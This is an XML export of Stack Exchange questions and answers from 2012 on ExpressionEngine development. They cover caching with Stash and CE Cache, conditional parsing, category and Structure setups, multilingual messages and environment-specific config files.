  <row Id="289" PostTypeId="2" ParentId="274" CreationDate="2012-11-23T09:50:15.500" Score="3" Body="&lt;p&gt;Although Stash doesn't currently have automated cache breaking you can use the &lt;code&gt;{exp:stash:unset}&lt;/code&gt; tag (&lt;a href=&quot;https://github.com/croxton/Stash/tree/dev#expstashunset-requires-php-523-or-expstashdestroy&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) to flush caches when certain actions occur. For an example of this in use take a look at the top of Mark Croxton's &lt;a href=&quot;https://gist.github.com/3973821&quot; rel=&quot;nofollow&quot;&gt;sample viewModel template&lt;/a&gt;, where it's used to clear out cached comment data when a new comment is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Stash::destroy&lt;/code&gt; method is also available statically, which means that creating custom cache-breaking extensions is fairly simple. I recently put together a very basic extension which flushes out all globally scoped caches whenever an entry or Low variable is updated. I was considering fleshing it out a bit more and releasing it 'properly' at some point, but if you'd like to see some sample code I've &lt;a href=&quot;https://gist.github.com/4134669&quot; rel=&quot;nofollow&quot;&gt;uploaded a gist to Github&lt;/a&gt;. I'm pretty sure it will only be compatible with the dev branch at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to implement additional triggers for cache breaking by inserting extra hook names into the &lt;code&gt;$hooks&lt;/code&gt; array (so long as the hooks don't require a return value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is possible to create all sorts of complex site-specific cache breaking rules via some fairly simple extensions it doesn't change the fact that addons like CE Cache are far more powerful, with cache refreshing and support for multiple drivers built-in. On a high traffic site those features are likely to be essential, but on low-medium traffic sites, particularly those where content is updated infrequently, I'm increasingly finding that Stash is all that's needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I started writing this before Mark submitted his answer. There's quite a bit of overlap but I've written it now, so here goes anyway...]&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-23T09:50:15.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="290" PostTypeId="2" ParentId="286" CreationDate="2012-11-23T09:57:27.183" Score="9" Body="&lt;p&gt;This came up &lt;a href=&quot;https://stackoverflow.com/questions/13238144/what-add-ons-are-creating-messages-in-expressionengine-dev-log&quot;&gt;on Stack Overflow recently&lt;/a&gt; and prompted a semi-official response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;This message will likely be removed in a future release. It's causing too much confusion than help and isn't entirely necessary. Yes it would be helpful for the developer log to let you know which addon is causing the problem, but the logistics of parsing backtraces to find that information proves to be difficult. Which brings us on to message #2:&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;As GDmac said, it's best to search your project for any calls to login_form() in the CP controller. Normally a file and line number would be provided in this kind of message, but as I said, parsing backtrace info doesn't always work.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;We'll continue to try to make this better. The deprecation warnings have been working great for the most part, but occasionally messages like these pop up it can be difficult to know what to do about them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-11-23T09:57:27.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="1" AcceptedAnswerId="301" CreationDate="2012-11-23T10:10:24.663" Score="5" ViewCount="720" Body="&lt;p&gt;After struggling for a day I hope that someone may be able to help me. I have a site that has a list of stockists worldwide. I would like to have a landing page where you can choose your country (grouped by regions) as per:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oceania&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Australia&lt;/li&gt;&#xA;&lt;li&gt;New Zealand&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;United Kingdom&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;England&lt;/li&gt;&#xA;&lt;li&gt;Scotland&lt;/li&gt;&#xA;&lt;li&gt;Wales&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there are 31 countries but the client needs to be able to add more. Some, but not all, need to also be broken down into states/counties (which the client can add to) but I don't want to be able to see all of these on the landing page as there a lot for some countries. When you select the country you need to be taken to a page specific for that country. Some will have a promotion displayed based on the country. Also on the country page will be a country distributor and either a list of retail stockists (some countries don't have any) or the ability to choose a state or county (as some countries have several states/counties with many retail stockists) which can then be selected to display that state or county's retail stockists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been struggling with this for so many days now that this doesn't seem to make sense anymore - please let me know if you need further clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is how you would set this up in EE which has Structure installed. Assets for each retail stockist? A page for the landing page, a page for the country? Would you use categories for the Region/Country/State? How would you then pull the data into the templates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried using categories for each retail stockist and they are being entered as assets on a country page. I have managed to create a landing page using GWCode Categories which links to the page, but none of the category information is passed to the page. Do I need to use another plugin to get the category information? How would I then display a list of states, if there are any, for that particular country? Am I over thinking this and there is a much simpler way?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My landing page is stockists/index and has the following code displaying the categories so far (it's a responsive site so I have the countries set up in 3 columns):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;div class=&quot;grids grids-three clearfix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;grid grid-1 clearfix&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;grid-a&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;Oceania&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;ul&amp;gt;&#xA;                            {exp:gwcode_categories&#xA;                                channel=&quot;stockists&quot;&#xA;                                cat_id=&quot;26&quot;&#xA;                                depth=&quot;2&quot;&#xA;                            }&#xA;                            &amp;lt;a href=&quot;stockist-details/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;                            {/exp:gwcode_categories}&#xA;                            &amp;lt;/ul&amp;gt;               &#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;grid-b&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;United Kingdom&amp;lt;/h2&amp;gt;&#xA;                            {exp:gwcode_categories&#xA;                                channel=&quot;stockists&quot;&#xA;                                cat_id=&quot;7&quot;&#xA;                                depth=&quot;2&quot;&#xA;                            }&#xA;                            &amp;lt;a href=&quot;stockist-details/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;                            {/exp:gwcode_categories}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;grid-c&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;North America&amp;lt;/h2&amp;gt;&#xA;                            {exp:gwcode_categories&#xA;                                channel=&quot;stockists&quot;&#xA;                                cat_id=&quot;8&quot;&#xA;                                depth=&quot;2&quot;&#xA;                            }&#xA;                            &amp;lt;a href=&quot;stockist-details/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;                            {/exp:gwcode_categories}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The country page is stockists/stockist-details and contains the following code which only displays the ENTIRE list of countries and states/counties when you click through to it, but if you select one of the countries or states you get a list of stockist below the huge list of categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;!-- STOCKIST DETAILS --&amp;gt;&#xA;            &amp;lt;div class=&quot;stockist-details&quot;&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    {exp:channel:category_heading channel=&quot;stockists&quot;}&#xA;                    &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;                    {/exp:channel:category_heading}&#xA;                &amp;lt;/header&amp;gt;&#xA;&#xA;                {exp:channel:categories&#xA;                    channel=&quot;stockists&quot;&#xA;                    disable=&quot;member_data|pagination|trackbacks&quot;&#xA;                }&#xA;                &amp;lt;a href=&quot;{path='stockists/stockist-details'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;                {/exp:channel:categories}&#xA;&#xA;                &amp;lt;div class=&quot;stockist-listing&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        {exp:channel:entries&#xA;                            channel=&quot;stockists&quot;&#xA;                            disable=&quot;member_data|pagination|trackbacks&quot;&#xA;                        }&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{stockist_address}&amp;lt;br /&amp;gt;&#xA;                                {stockist_city} {postcode_zip}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Phone:&amp;lt;/span&amp;gt; {stockist_phone}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        {/exp:channel:entries}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- / .stockist-listing --&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- / #stockist-details --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that someone is able to make sense of all of this and make some suggestions as to where I'm going wrong, or a better approach. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="285" LastEditorUserId="77" LastEditDate="2012-11-27T20:19:53.807" LastActivityDate="2012-11-29T00:42:10.760" Title="How to create a complex stockist list using Structure and/or categories" Tags="|templates|structure|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostTypeId="1" AcceptedAnswerId="300" CreationDate="2012-11-23T11:02:01.837" Score="4" ViewCount="195" Body="&lt;p&gt;I have a page that's set up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;  // show categories&#xA;{/if}&#xA;{if segment_2 != &quot;&quot;}&#xA;  // show entries&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using simple conditionals ( as opposed to if:else ) because I don't want&#xA;the contents of the second part to be parsed when they shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when my segment_2 is empty, EE still goes inside that tag and parses everything, resulting in a slow page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing out of the ordinary inside that simple conditional ( EE tags, an embed and a little bit of php ( parsed on output ) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;strong&gt;something forces EE to ignore the parsing error and parse everything inside the conditional&lt;/strong&gt;. Question is: what ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could probably just use switchee and be done with it, but I shouldn't have to. I want to figure out what goes wrong.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-23T13:28:10.673" Title="Simple conditionals parse when they shouldn't" Tags="|ee2|conditionals|parse-order|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="1" AcceptedAnswerId="561" CreationDate="2012-11-23T11:04:31.670" Score="9" ViewCount="756" Body="&lt;p&gt;I have a MSM set up with site A in english and site B in chinese. What I'd like is for the system messages on site B to show in chinese rather than english (think &quot;Thanks - you're now logged in&quot; etc, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if that's possible and if so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2012-12-16T06:13:05.773" Title="How can I show multi-lingual front end system messages?" Tags="|multilingual|system|messages|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="294" PostTypeId="2" ParentId="293" CreationDate="2012-11-23T11:09:28.393" Score="3" Body="&lt;p&gt;We always use this Multi Language Module for things like these:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-module&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/multi-language-module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to create &quot;phrases&quot; in your backend and provide different translations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ouput these in your template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:multi_language:phrase index=“phrase_name”}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the user's language this will output the correct translation.&#xA;The user’s language is determined by the url. So for a webpage at mysite.com/links/ the italian version will be at mysite.com/it/links/. This makes for easy navigation and setup in ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="28" LastEditDate="2012-12-16T06:13:05.773" LastActivityDate="2012-12-16T06:13:05.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="295" PostTypeId="2" ParentId="292" CreationDate="2012-11-23T11:11:10.527" Score="10" Body="&lt;p&gt;I'd recommend you taking a look at Mark Croxton's if:else and switchee plugins. They allow you to use advanced conditionals (and switches) without the overhead of having all your conditions parsed, which is the default EE behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're a fantastic way of optimising your site and I'd encourage you to start using them whenever you have a need for anything other than a simple conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the links to Mark's addons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Switchee:&lt;/strong&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;IfElse:&lt;/strong&gt; &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot;&gt;http://devot-ee.com/add-ons/ifelse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Take care&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2012-11-23T11:11:10.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostTypeId="2" ParentId="291" CreationDate="2012-11-23T11:26:33.217" Score="3" Body="&lt;p&gt;It's possible that just using pages in Structure will be easier, but a couple of things to consider if using categories: &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; and &lt;a href=&quot;http://ee-garage.com/nsm-categories/&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-23T11:26:33.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="2" ParentId="292" CreationDate="2012-11-23T11:33:42.003" Score="2" Body="&lt;p&gt;Conditionals are always parsed, they are only displayed if the condition is passed. If you want to avoid this behaviour you need to use IfElse by Croxton or switchee also by Croxton.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-23T11:33:42.003" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="2" ParentId="231" CreationDate="2012-11-23T11:36:38.070" Score="4" Body="&lt;p&gt;If you open up the CartThrob member settings you can assign customer fields to custom member fields. These values then pre-populate through the CT checkout process. For example, on a site I built recently the CT settings look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuNmh.png&quot; alt=&quot;CartThrob Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, within my &lt;code&gt;{exp:cartthrob:checkout_form}&lt;/code&gt; tag I have code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;{customer_first_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user is logged out or their &lt;code&gt;first_name&lt;/code&gt; member field has not been populated then the value is left blank, so there's no need to create separate views for guests and members.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-23T11:36:38.070" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostTypeId="2" ParentId="274" CreationDate="2012-11-23T13:08:32.293" Score="5" Body="&lt;p&gt;As you say, automatic cache breaking is very nice, and IMHO a must, since anything else is bound to impact the user experience for the editors. My goto caching addon since its release has been &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt;, which solves this nicely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my 4–5 latest projects I've used the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;Template Partials&lt;/a&gt; approach (with Stash) increasingly. I love this way to develop in ExpressionEngine, but my main gripe is with caching. I feel that using Stash's own caching, and then having to code the breaking logic into the templates somehow, is way to fragile and hacky. Might work for smaller projects with few content types/variables, but not on more complex stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I've continued to use CE Cache, with varying success. The problem is that you, naturally, &lt;strong&gt;have to cache the &quot;controller&quot;-part of your templates, together with your &quot;view&quot;-part&lt;/strong&gt;, which, if you keep things DRY, means that you most of the time has to cache the whole page or nothing. This kinda defeats the whole point of CE Cache, which excels at caching more specific chunks of a page (or at least, that's where it excels in my opinion). The result is that you either have to break the cache more often (for all channels shown in a page, low variables, etc.), or you have to skip automatic cache breaking for some or all types of content (and leave it to the editor to do it manually). Neither is ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my latest project where I kept things very DRY, and the pages generally contained content from a lot of different channels, I'm left with the feeling that using the templates partials approach actually had a negative impact on the overall performance. But this is very project-specific, in many cases where you have simpler content, caching the whole page is perfectly OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still trying to figure out what the optimal approach would have been, but I have a feeling that taking a step back and dividing the page into more (than one) native embeds, and thereby being able to cache separate parts of the page with CE Cache, would have been better. Not so pretty, but this is ExpressionEngine after all and sometimes it pays to work with the system instead of against it. Also, a parsed and cached embed isn't a performance issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my two cents.&lt;/p&gt;&#xA;" OwnerUserId="222" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:21.437" LastActivityDate="2013-12-30T13:05:21.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostTypeId="2" ParentId="292" CreationDate="2012-11-23T13:28:10.673" Score="9" Body="&lt;p&gt;It seems like putting an if:else inside your simple conditional makes it an advanced conditional, thus affecting parsing order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, suppose segment_1 is empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;&quot;}&#xA;   EE tags placed here won't be parsed&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;&quot;}&#xA;&#xA;   EE tags placed here WILL be parsed&#xA;&#xA;   {if segment_1 != &quot;&quot;}&#xA;      // something here&#xA;   {if:else}&#xA;      // something here&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;( luckily, we have switchee: &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-23T13:28:10.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="2" ParentId="291" CreationDate="2012-11-23T14:22:18.093" Score="4" Body="&lt;p&gt;I would only use categories for details about the retail outlet, like (I'm guessing here) payment types available, stock types available, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd create 3 channels, 1) Country, 2) Region and 3) Retailer. Country and Region can use the same field group with just a body field, unless you need additional detail at their levels. I'd have at least a matrix field in the Retailer field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Structure, I'd set the Country channel to a page, with the Region channel as a child page of Country, and the Retailer channel would be a listing under Region.  Asset would work as well, but pages and assets are on different tabs, so there's a bit of a disconnect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the matrix field on the Retailer entry page for the retailer-specific content, and categories for common details to keep the matrix field manageable.  Or, the retailer entry could be mostly category selections. There are always a few ways to go at things with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This provides an entry interface for your client that's easy to navigate and update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't used NSM's add-on, but I's say that Low's Seg2Cat would be quite useful in this build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be worthwile to work up a quick prototype with one of the current frameworks to test the logic before you get too far into content entry.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-11-23T14:22:18.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="2" ParentId="291" CreationDate="2012-11-23T14:29:30.690" Score="2" Body="&lt;p&gt;Are you able to use Playa and Matrix? If so you could approach this like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your regions would either be categories assigned to a countries channel or they could simply be a select field with all the possible regions listed, even if they aren't used right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these countries would then have a matrix list for handling the states. This also allows for more metadata about the states as well. Then in the stockists channel add an EE relationship field (or a Playa field if one stockist can be in multiple countries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your templates simply use conditionals to determine what's being displayed to the user.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="104" LastEditDate="2012-11-29T00:42:10.760" LastActivityDate="2012-11-29T00:42:10.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="303" PostTypeId="2" ParentId="293" CreationDate="2012-11-23T14:33:20.687" Score="8" Body="&lt;p&gt;Check out the Custom System Messages addon: &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This lets you move EE system messages into EE templates so you can have finite control over messages.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-23T14:33:20.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="304" PostTypeId="2" ParentId="260" CreationDate="2012-11-23T14:38:55.607" Score="5" Body="&lt;p&gt;So I'm inferring from the forum post you linked that you're bootstrapping your config with something like &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot;&gt;NSM bootstrap&lt;/a&gt; or similar in order to reduce the pain of moving EE between multiple environments (local/staging/production etc.). That's a great idea, and how I roll with EE myself (though take a look at &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;FocusLabs Master Config&lt;/a&gt; for another, more in depth approach to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in this particular case I don't think there's a way to avoid hard coding the URL and server paths for each site, given that $_SERVER is necessarily unaware of any sites other than the current execution context, and MSM doesn't even require you to define your domain anywhere, (leaving aside that we need to do all this before EE has loaded anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, we can at least make sure you only have to store that information in as few locations as possible, and still make it easy for multiple dev's to have different absolute paths to their local installs etc, by loading per environment config files, based on an environment constant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('EE_SERVER_NAME', $_SERVER['SERVER_NAME']);&#xA;switch (EE_SERVER_NAME) {&#xA;    case 'site1.local';&#xA;    case 'site2.local';&#xA;      define('EE_ENV', 'local');&#xA;      break;&#xA;    case 'staging.site1.com';&#xA;    case 'staging.site2.com';&#xA;      define('EE_ENV', 'staging');&#xA;      break;&#xA;    case 'site1.com';&#xA;    case 'site2.com';&#xA;    default;&#xA;      define('EE_ENV', 'production');&#xA;      break;&#xA;  }&#xA;}&#xA;/* load environment specific config file&#xA; note you could do this inside the switch above, but setting environment&#xA; constants is super useful and gives more flexibility.*/&#xA;&#xA;require_once('./config.'. EE_ENV. '.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in config.production.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('EE_SITE1_BASE_PATH', '/path/to/site1');&#xA;define('EE_SITE1_BASE_URL', 'site1.com');&#xA;define('EE_SITE2_BASE_PATH', '/path/to/site2');&#xA;define('EE_SITE2_BASE_URL', 'site2.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in config.local.php, which is ignored from version control: &lt;em&gt;(include a config.local.example.php to allow new devs to get up and running)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('EE_SITE1_BASE_PATH', '/different/path/to/site1');&#xA;define('EE_SITE1_BASE_URL', 'site1.local');&#xA;define('EE_SITE2_BASE_PATH', '/different/path/to/site2');&#xA;define('EE_SITE2_BASE_URL', 'site2.local');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;upload directories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this dir belongs to site 1&#xA;9 =&amp;gt; array(&#xA;    'name'        =&amp;gt; &quot;Images&quot;,                          // Display name in control panel&#xA;    'server_path' =&amp;gt; EE_SITE1_BASE_PATH . '/user/images/', // Server path to upload directory&#xA;    'url'         =&amp;gt; EE_SITE1_BASE_URL . '/user/images/'      // URL of upload directory&#xA;),&#xA;//this dir belongs to site 2&#xA;10 =&amp;gt; array(&#xA;    'name'        =&amp;gt; &quot;Blog&quot;,                          // Display name in control panel&#xA;    'server_path' =&amp;gt; EE_SITE2_BASE_PATH . '/user/blog/', // Server path to upload directory&#xA;    'url'         =&amp;gt; EE_SITE2_BASE_URL . '/user/blog/'      // URL of upload directory&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an aside, you should probably use constants like BASE_PATH instead of $base_url, to prevent them being accidentally reassigned, and to make your code/intent clearer to other developers who might come after you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I've also assumed that you're not trying to declare two upload destinations (one for each site) as a single upload directory definition in config.php. I'm pretty certain that ain't gonna work...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-23T14:46:05.810" LastActivityDate="2012-11-23T14:46:05.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="1" AcceptedAnswerId="312" CreationDate="2012-11-23T15:01:42.973" Score="14" ViewCount="4713" Body="&lt;p&gt;I'm writing a plugin for which I'd like to be able to set site-wide preferences via custom variables in config.php (eg &lt;code&gt;$['myplugin_config_item']&lt;/code&gt;), and have those variables available in all my plugins methods, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;class Myplugin {&#xA;&#xA;  public $return_data;&#xA;&#xA;  function Method(){&#xA;    //how do I access $['myplugin_config_item'] here?&#xA;&#xA;  }&#xA;  function Method2(){&#xA;    //and if I want to access $['myplugin_config_item'] here too, what's the most efficient way to do so?&#xA;  }&#xA;&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the cleanest/neatest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-23T18:40:05.703" Title="How do I access custom config.php variables in a plugin?" Tags="|add-on-development|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="2" ParentId="266" CreationDate="2012-11-23T15:11:46.533" Score="3" Body="&lt;p&gt;It's not in the plugin documentation, but have you tried adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to the tag?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-23T15:11:46.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
